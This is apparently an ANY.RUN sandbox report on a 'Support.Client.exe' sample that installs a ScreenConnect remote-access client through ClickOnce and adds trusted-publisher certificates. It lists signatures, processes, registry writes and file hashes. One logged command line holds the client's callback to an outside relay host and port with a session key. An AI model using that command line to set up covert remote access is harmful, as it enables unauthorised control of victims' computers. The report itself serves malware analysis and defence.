Malware analysis Support.Client.exe Malicious activity

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File name:	Support.Client.exe
Full analysis:	https://app.any.run/tasks/c5861919-9856-439c-bad2-f6d39e5d25c9
Verdict:	Malicious activity
Analysis date:	February 16, 2025, 12:16:05
OS:	Windows 10 Professional (build: 19045, 64 bit)
Tags:	screenconnect remote
Indicators:
MIME:	application/vnd.microsoft.portable-executable
File info:	PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections
MD5:	D136A1AE0D1B4F72E666A66C2710471D
SHA1:	9DF763CAF0C34C672F1BCB5C76BE98D9144D7F4F
SHA256:	413AF194827348246DC73776CD5E47573CF9895D4D0801887AF4F607C0A7402D
SSDEEP:	1536:ohNeDLHPUVkKo2cgigKIhTnH2QjCdqQsWQcdUkBbfqNNK:vDLHcVkKo2cZgKIhTH2U+lU2bfq

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 120 seconds
Heavy Evasion option:
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- SCREENCONNECT has been detected (SURICATA)
  - ScreenConnect.ClientService.exe (PID: 1944)
SUSPICIOUS
- Reads security settings of Internet Explorer
  - dfsvc.exe (PID: 6212)
  - ScreenConnect.WindowsClient.exe (PID: 7052)
  - ScreenConnect.ClientService.exe (PID: 7152)
  - ScreenConnect.ClientService.exe (PID: 1944)
  - ScreenConnect.WindowsClient.exe (PID: 716)
- Adds/modifies Windows certificates
  - Support.Client.exe (PID: 1296)
  - dfsvc.exe (PID: 6212)
- Executable content was dropped or overwritten
  - dfsvc.exe (PID: 6212)
- The process creates files with name similar to system file names
  - dfsvc.exe (PID: 6212)
- Checks Windows Trust Settings
  - dfsvc.exe (PID: 6212)
- Reads Internet Explorer settings
  - dfsvc.exe (PID: 6212)
- Reads the date of Windows installation
  - dfsvc.exe (PID: 6212)
  - ScreenConnect.WindowsClient.exe (PID: 7052)
- Executes as Windows Service
  - ScreenConnect.ClientService.exe (PID: 1944)
- Creates or modifies Windows services
  - ScreenConnect.ClientService.exe (PID: 1944)
- Screenconnect has been detected
  - ScreenConnect.ClientService.exe (PID: 1944)
- SCREENCONNECT mutex has been found
  - ScreenConnect.ClientService.exe (PID: 1944)
- Potential Corporate Privacy Violation
  - ScreenConnect.ClientService.exe (PID: 1944)
- Connects to unusual port
  - ScreenConnect.ClientService.exe (PID: 1944)
- Executes application which crashes
  - Support.Client.exe (PID: 1296)
INFO
- Reads the computer name
  - Support.Client.exe (PID: 1296)
  - dfsvc.exe (PID: 6212)
  - ScreenConnect.WindowsClient.exe (PID: 7052)
  - ScreenConnect.ClientService.exe (PID: 7152)
  - ScreenConnect.ClientService.exe (PID: 1944)
  - ScreenConnect.WindowsClient.exe (PID: 716)
- Checks supported languages
  - Support.Client.exe (PID: 1296)
  - dfsvc.exe (PID: 6212)
  - ScreenConnect.WindowsClient.exe (PID: 7052)
  - ScreenConnect.ClientService.exe (PID: 7152)
  - ScreenConnect.WindowsClient.exe (PID: 716)
  - ScreenConnect.ClientService.exe (PID: 1944)
- Reads the machine GUID from the registry
  - Support.Client.exe (PID: 1296)
  - dfsvc.exe (PID: 6212)
  - ScreenConnect.WindowsClient.exe (PID: 7052)
  - ScreenConnect.ClientService.exe (PID: 7152)
  - ScreenConnect.ClientService.exe (PID: 1944)
  - ScreenConnect.WindowsClient.exe (PID: 716)
- Create files in a temporary directory
  - dfsvc.exe (PID: 6212)
- Creates files or folders in the user directory
  - dfsvc.exe (PID: 6212)
  - ScreenConnect.WindowsClient.exe (PID: 7052)
  - ScreenConnect.ClientService.exe (PID: 1944)
  - WerFault.exe (PID: 644)
- Checks proxy server information
  - dfsvc.exe (PID: 6212)
  - WerFault.exe (PID: 644)
- Process checks whether UAC notifications are on
  - dfsvc.exe (PID: 6212)
- Reads the software policy settings
  - dfsvc.exe (PID: 6212)
  - WerFault.exe (PID: 644)
- Process checks computer location settings
  - dfsvc.exe (PID: 6212)
  - ScreenConnect.WindowsClient.exe (PID: 7052)
- Reads Environment values
  - dfsvc.exe (PID: 6212)
- Disables trace logs
  - dfsvc.exe (PID: 6212)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.exe	\|	Win32 Executable MS Visual C++ (generic) (42.2)
.exe	\|	Win64 Executable (generic) (37.3)
.dll	\|	Win32 Dynamic Link Library (generic) (8.8)
.exe	\|	Win32 Executable (generic) (6)
.exe	\|	Generic Win/DOS Executable (2.7)

EXIF

EXE

MachineType:	Intel 386 or later, and compatibles
TimeStamp:	2024:10:28 17:41:07+00:00
ImageFileCharacteristics:	Executable, 32-bit
PEType:	PE32
LinkerVersion:	14.39
CodeSize:	40448
InitializedDataSize:	32768
UninitializedDataSize:	-
EntryPoint:	0x1489
OSVersion:	5.1
ImageVersion:	-
SubsystemVersion:	5.1
Subsystem:	Windows GUI

No data.

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All screenshots are available in the full report

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Total processes

137

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

644

C:\WINDOWS\SysWOW64\WerFault.exe -u -p 1296 -s 904

C:\Windows\SysWOW64\WerFault.exe

Support.Client.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Problem Reporting

Exit code:

Version:

10.0.19041.3996 (WinBuild.160101.0800)

Modules

Images
c:\windows\syswow64\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll

716

"C:\Users\admin\AppData\Local\Apps\2.0\W268NBVM.P03\ZRHG2QK0.O24\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe" "RunRole" "b88c3b42-f40f-4902-85fd-51ed3ad59b13" "User"

C:\Users\admin\AppData\Local\Apps\2.0\W268NBVM.P03\ZRHG2QK0.O24\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe

—

ScreenConnect.ClientService.exe

User:

admin

Company:

ScreenConnect Software

Integrity Level:

MEDIUM

Description:

ScreenConnect Client

Version:

24.3.7.9067

Modules

Images
c:\users\admin\appdata\local\apps\2.0\w268nbvm.p03\zrhg2qk0.o24\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll

1296

"C:\Users\admin\AppData\Local\Temp\Support.Client.exe"

C:\Users\admin\AppData\Local\Temp\Support.Client.exe

explorer.exe

User:

admin

Integrity Level:

MEDIUM

Exit code:

3221225477

Modules

Images
c:\users\admin\appdata\local\temp\support.client.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\crypt32.dll

1944

"C:\Users\admin\AppData\Local\Apps\2.0\W268NBVM.P03\ZRHG2QK0.O24\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=e21bf9c9-8c51-4485-8f80-2e62f1c316b7&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&r=&i=Untitled%20Session" "1"

C:\Users\admin\AppData\Local\Apps\2.0\W268NBVM.P03\ZRHG2QK0.O24\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe

services.exe

User:

SYSTEM

Integrity Level:

SYSTEM

Version:

24.3.7.9067

Modules

Images
c:\users\admin\appdata\local\apps\2.0\w268nbvm.p03\zrhg2qk0.o24\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\screenconnect.clientservice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\shlwapi.dll
c:\windows\syswow64\msvcrt.dll

2192

C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

services.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Host Process for Windows Services

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll

6212

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Support.Client.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

ClickOnce

Version:

4.8.9037.0 built by: NET481REL1

Modules

Images
c:\windows\microsoft.net\framework64\v4.0.30319\dfsvc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll

7052

"C:\Users\admin\AppData\Local\Apps\2.0\W268NBVM.P03\ZRHG2QK0.O24\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe"

C:\Users\admin\AppData\Local\Apps\2.0\W268NBVM.P03\ZRHG2QK0.O24\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe

—

dfsvc.exe

User:

admin

Company:

ScreenConnect Software

Integrity Level:

MEDIUM

Description:

ScreenConnect Client

Exit code:

Version:

24.3.7.9067

Modules

Images
c:\users\admin\appdata\local\apps\2.0\w268nbvm.p03\zrhg2qk0.o24\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll

7152

C:\Users\admin\AppData\Local\Apps\2.0\W268NBVM.P03\ZRHG2QK0.O24\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe

ScreenConnect.WindowsClient.exe

User:

admin

Integrity Level:

HIGH

Exit code:

Version:

24.3.7.9067

Modules

Images
c:\users\admin\appdata\local\apps\2.0\w268nbvm.p03\zrhg2qk0.o24\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\screenconnect.clientservice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\shlwapi.dll

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Total events

11 576

Read events

11 378

Write events

168

Delete events

Modification events


(PID) Process:	(1296) Support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates
Operation:	delete value	Name:	7B0F360B775F76C94A12CA48445AA2D2A875701C
Value:
(PID) Process:	(1296) Support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C
Operation:	write	Name:	Blob
Value: 0300000001000000140000007B0F360B775F76C94A12CA48445AA2D2A875701C2000000001000000B4060000308206B030820498A003020102021008AD40B260D29C4C9F5ECDA9BD93AED9300D06092A864886F70D01010C05003062310B300906035504061302555331153013060355040A130C446967694365727420496E6331193017060355040B13107777772E64696769636572742E636F6D3121301F060355040313184469676943657274205472757374656420526F6F74204734301E170D3231303432393030303030305A170D3336303432383233353935395A3069310B300906035504061302555331173015060355040A130E44696769436572742C20496E632E3141303F060355040313384469676943657274205472757374656420473420436F6465205369676E696E6720525341343039362053484133383420323032312043413130820222300D06092A864886F70D01010105000382020F003082020A0282020100D5B42F42D028AD78B75DD539591BB18842F5338CEB3D819770C5BBC48526309FA48E68D85CF5EB342407E14B4FD37843F417D71EDAF9D2D5671A524F0EA157FC8899C191CC81033E4D702464B38DE2087D347D4C8057126B439A99F2C53B1FF2EFCB475A13A64CB3012025F310D38BB2FB08F08AE09D09C065A7FA98804935873D5119E8902178452EA19F2CE118C21ACCC5EE93497042328FFBC6EA1CF3656891A24D4C8211485268DE10BD14575DE8181365C57FB24F852C48A4568435D6F92E9CAA0015D137FE1A0694C27CC8EA1B32E6CAC2F4A7A3030E74A5AF39B6AB6012E3E8D6B9F731E1DCADE418A0D8C1234747B3A10F6EA3AB6D9806831BB76A672DD2BD441A9210818FB03B09D7C79B325AC2FF6A60548B49C193EDE1B45CE06FEB26F98CD5B2F93810E6EACE91F5BED3FB6F9361345CBC93452883362A66285FB073CE8B262506B283D45CF615194CED62E05E33F2E8E8EC0AA7B0032B91B23679BEF7AD081E75A665CCBBE34850F377911AFEDB50A246C8615898F57C02163C8328AD3986ECD4B70D53D0F847E675308DEC30937614A65B4B5D74614D3F129176DEBF58CB72102941F0D5C56D267668114113589ADC262B01F4894D59DB78CF814A3E40475FC98150738510232159608A6454C1CC211AE838197C661CCD78384530994FFF634F4CBBAA0D0853417C583D47B3FAB6EC8C320902CC6C3C0C56110203010001A38201593082015530120603551D130101FF040830060101FF020100301D0603551D0E041604146837E0EBB63BF85F1186FBFE617B088865F44E42301F0603551D23041830168014ECD7E382D2715D644CDF2E673FE7BA98AE1C0F4F300E0603551D0F0101FF04040302018630130603551D25040C300A06082B06010505070303307706082B06010505070101046B3069302406082B060105050730018618687474703A2F2F6F6373702E64696769636572742E636F6D304106082B060105050730028635687474703A2F2F636163657274732E64696769636572742E636F6D2F446967694365727454727573746564526F6F7447342E63727430430603551D1F043C303A3038A036A0348632687474703A2F2F63726C332E64696769636572742E636F6D2F446967694365727454727573746564526F6F7447342E63726C301C0603551D20041530133007060567810C01033008060667810C010401300D06092A864886F70D01010C050003820201003A23443D8D0876EE8FBC3A99D356E0021AA5F84834F32CB6E67466F79472B100CAAF6C302713129E90449F4BFD9EA37C26D537BC3A5D486D95D53F49F427BB16814550FD9CBDB685E0767E3771CB22F75AAA90CFF5936AE3EB20D1D55079889A8A8AC1B6BDA148187EDCD8801A111918CD61998156F6C9E376E7C4E41B5F43F83E94FF76393D9ED499CF4ADD28EB5F26A1955848D51AFED7273FFD90D17686DD1CB0605CF30DA8EEE089A1BD39E1384EDA6EBB369DFBE521535AC3CAE96AF1A23EDB43B833C84F38149299F5DDCE546DD95D02141F40337C03E295B2C221757352CB46D8C4341CA2A54B8DCD6F76372C853F1ACE26E918BE9007B0437F9588208270F0CCCAEFFD29355C1F893855F7378A8B09A1CB0BE9311AFF2E195C3971E1BE9CA70A06D62667B792E64E5FDE7AAC49CF2EA47492ADDB3CA49C861FE3C1561B2B23FF8FB5EA887B706BE6A0BAFD3A3F45A6C4E81691528B41C048844B964DAB4440E38DF01528CEEDF11856072A2F10C40C08643C338FAE288C3CCB8F880B0DBF3BF4CE1E7B8EEFB5EBCBB7F07713E6E7283FAC12AEA52F226C41F9825C1566CC6C0ECAC586C3F626330C074BA0D307026A6A4030484B34A85120BBAD1B8508E2590D6DCA05502BEA4A1C9EA5FDA0A71F0674E7F2D65290FDAF854821F9573BB49C03ED8645F4B4616EBF68E2266086EAC8AFA9FE941DE7631B3A8656784E
(PID) Process:	(1296) Support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates
Operation:	delete value	Name:	4C2272FBA7A7380F55E2A424E9E624AEE1C14579
Value:
(PID) Process:	(1296) Support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579
Operation:	write	Name:	Blob
Value: 0300000001000000140000004C2272FBA7A7380F55E2A424E9E624AEE1C145792000000001000000640700003082076030820548A00302010202100B9360051BCCF66642998998D5BA97CE300D06092A864886F70D01010B05003069310B300906035504061302555331173015060355040A130E44696769436572742C20496E632E3141303F060355040313384469676943657274205472757374656420473420436F6465205369676E696E67205253413430393620534841333834203230323120434131301E170D3232303831373030303030305A170D3235303831353233353935395A3065310B30090603550406130255533110300E06035504081307466C6F72696461310E300C0603550407130554616D706131193017060355040A1310436F6E6E656374776973652C204C4C433119301706035504031310436F6E6E656374776973652C204C4C4330820222300D06092A864886F70D01010105000382020F003082020A0282020100EC489826D08D2C6DE21B3CD3676DB1E0E50CB1FF75FF564E9741F9574AA3640AA8297294A05B4DB68ABD0760B6B05B50CE92FF42A4E390BE776A43E9961C722F6B3A4D5C880BCC6A61B4026F9137D36B2B7E9B86055876B9FA860DBCB164FE7F4B5B9DE4799AE4E02DC1F0BEE01E5D032933A2827388F8DB0B482E76C441B1BD50909EF2023E1FB62196C994CE052266B28CD89253E6416044133139764DB5FC45702529536BF82C775F9EC81FA27DC409530325F40CDEF95B81B9CE0D42791CEE72E7BD1B36C257B52257C65A28970E457513989434BFC239E2992B193E1B3CC3F11CCDD1D26D4EC9845099AB913906A42069AF999C0071169B45A2EA1AA666F1904E8ACB05E1823A359A291FD46B4EF7AED5935BB6AB17EBF077210726930C90F01761D6544A94E8FA614CC41D817EEC734B1C3D3AFB7C58FB256F0C09EDC1459BDDBFF9940ED1958570265D67AF79A9B6A16AFFD70FC6328C9810D5DC186E39AF6FBCAD49A270F237E6BCD5DE0BC014BC3179CD79776591340311A42CA94F33416C2E01B59BD1D71DE86ACE6716BC90B2D7695D155039AA08FBAC19A4D93FB784230A20A485287A16355645FC09142C602D140FA046B7BFD75328184FF7BDF8F9E0D65E6201C8D242931047F59BD328AC353777CCEFA60408887B84FC3631301463461A1D73C0B5CC74D6D82905DDF923BDBAB027A311CC38D3FA16F639A50203010001A382020630820202301F0603551D230418301680146837E0EBB63BF85F1186FBFE617B088865F44E42301D0603551D0E04160414338CE10A6E06D9C6ED0BC6CAE736CEFB8188646A300E0603551D0F0101FF04040302078030130603551D25040C300A06082B060105050703033081B50603551D1F0481AD3081AA3053A051A04F864D687474703A2F2F63726C332E64696769636572742E636F6D2F4469676943657274547275737465644734436F64655369676E696E6752534134303936534841333834323032314341312E63726C3053A051A04F864D687474703A2F2F63726C342E64696769636572742E636F6D2F4469676943657274547275737465644734436F64655369676E696E6752534134303936534841333834323032314341312E63726C303E0603551D20043730353033060667810C0104013029302706082B06010505070201161B687474703A2F2F7777772E64696769636572742E636F6D2F43505330819406082B06010505070101048187308184302406082B060105050730018618687474703A2F2F6F6373702E64696769636572742E636F6D305C06082B060105050730028650687474703A2F2F636163657274732E64696769636572742E636F6D2F4469676943657274547275737465644734436F64655369676E696E6752534134303936534841333834323032314341312E637274300C0603551D130101FF04023000300D06092A864886F70D01010B050003820201000AD79F00CF4984864C8981ECCE8718AA875647F6A74608C968E16568C7AA9D711ED7341676038067F01330C91621B27A2A8894C4108C268162A31F13F9757A7D6BB3C6F19BF27C3A29896D712D85873627D827CD6471761444FABF1D31E903F791143C5B4CE5E7444AACBA36D759AEBA3069D195226755CBC675AA747F77596C53C96E083C45BBA24479D6845EEA9F2B28BA29B4DCF0BCF14AA4CE176C24E2C1B8FEC3EE16E1C086DB6FDA97388859E83BE65C03F701395B78B842C6DD1533EF642CCA6FE50F6337D3F2DFEDD8B28F2B28E0C98EDD2151392E7CC75489F48859F1DE14C81B306EB50EED7BB78BE30EAADA76767C4CA523A11EEC5A2372D6122926AB1801A6A6778E9504791487EE47D4577154988802070F80FC535957658F954CD083546C5AFB5A6567B6761275F5DB20F70AB86FEEF94C7CFC65369D325121B69A82399BC7DC1962416F0F05CF1EEE64D495A3527E464E2C68DA0187093F97B673E43DDDBCC067E00713F1565FCFF8C3772D44B40A04E600644F22A990345F9A6B5B52963E82C81A0CE91D43A230F67B37D8DEBDA40EA3D59D305E18ADC1976516C12A8BA2BCA24143B12E9527B4DCA58872AA9B3A8C6AC563FC2DC02BF51BE889516D35A4BA9D062417B5BDCC50BA945FAE26B60D6AEC03984798A6A21D3FF793CC0849E81ED55B8027411C50DB776AE8FEEF2FDC2DAFB04345261DEDC054
(PID) Process:	(6212) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	write	Name:	ComponentStore_RandomString
Value: GCV702ZV16974Y5PTRVM53XK
(PID) Process:	(6212) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	delete value	Name:	ComponentStore_RandomString
Value: GCV702ZV16974Y5PTRVM53XK
(PID) Process:	(6212) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	delete key	Name:	(default)
Value:
(PID) Process:	(6212) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	write	Name:	ComponentStore_RandomString
Value: W268NBVMP03ZRHG2QK0O24OK
(PID) Process:	(6212) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager
Operation:	write	Name:	StateStore_RandomString
Value: DGXD96OJP039RRXB8XT4WQQP
(PID) Process:	(6212) dfsvc.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dfsvc_RASAPI32
Operation:	write	Name:	EnableFileTracing
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
6212	dfsvc.exe	C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1693682860-607145093-2874071422-1001\932a2db58c237abd381d22df4c63a04a_bb926e54-e3ca-40fd-ae90-2764341e7792		binary
		MD5:D2DED43CE07BFCE4D1C101DFCAA178C8	SHA256:8EEE9284E733B9D4F2E5C43F71B81E27966F5CD8900183EB3BB77A1F1160D050
6212	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\L9N7ADNG.L8D\KJW8VT53.HXA\ScreenConnect.WindowsFileManager.exe		executable
		MD5:1AEE526DC110E24D1399AFFCCD452AB3	SHA256:EBD04A4540D6E76776BD58DEEA627345D0F8FBA2C04CC65BE5E979A8A67A62A1
6212	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\L9N7ADNG.L8D\KJW8VT53.HXA\ScreenConnect.Windows.dll.genman		xml
		MD5:88ECD545BDBE3ED49C6A2B87589102EC	SHA256:D48AFB709E61B86EB6EEF67B41D0FA7EC780C4536F5CF9ACA7A0B440AED98EF0
6212	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\L9N7ADNG.L8D\KJW8VT53.HXA\ScreenConnect.ClientService.exe		executable
		MD5:75B21D04C69128A7230A0998086B61AA	SHA256:F1B5C000794F046259121C63ED37F9EFF0CFE1258588ECA6FD85E16D3922767E
6212	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\L9N7ADNG.L8D\KJW8VT53.HXA\ScreenConnect.WindowsBackstageShell.exe		executable
		MD5:AFA97CAF20F3608799E670E9D6253247	SHA256:E25F32BA3FA32FD0DDD99EB65B26835E30829B5E4B58573690AA717E093A5D8F
6212	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\L9N7ADNG.L8D\KJW8VT53.HXA\ScreenConnect.WindowsClient.exe.config		xml
		MD5:728175E20FFBCEB46760BB5E1112F38B	SHA256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
6212	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\L9N7ADNG.L8D\KJW8VT53.HXA\ScreenConnect.WindowsFileManager.exe.config		xml
		MD5:728175E20FFBCEB46760BB5E1112F38B	SHA256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
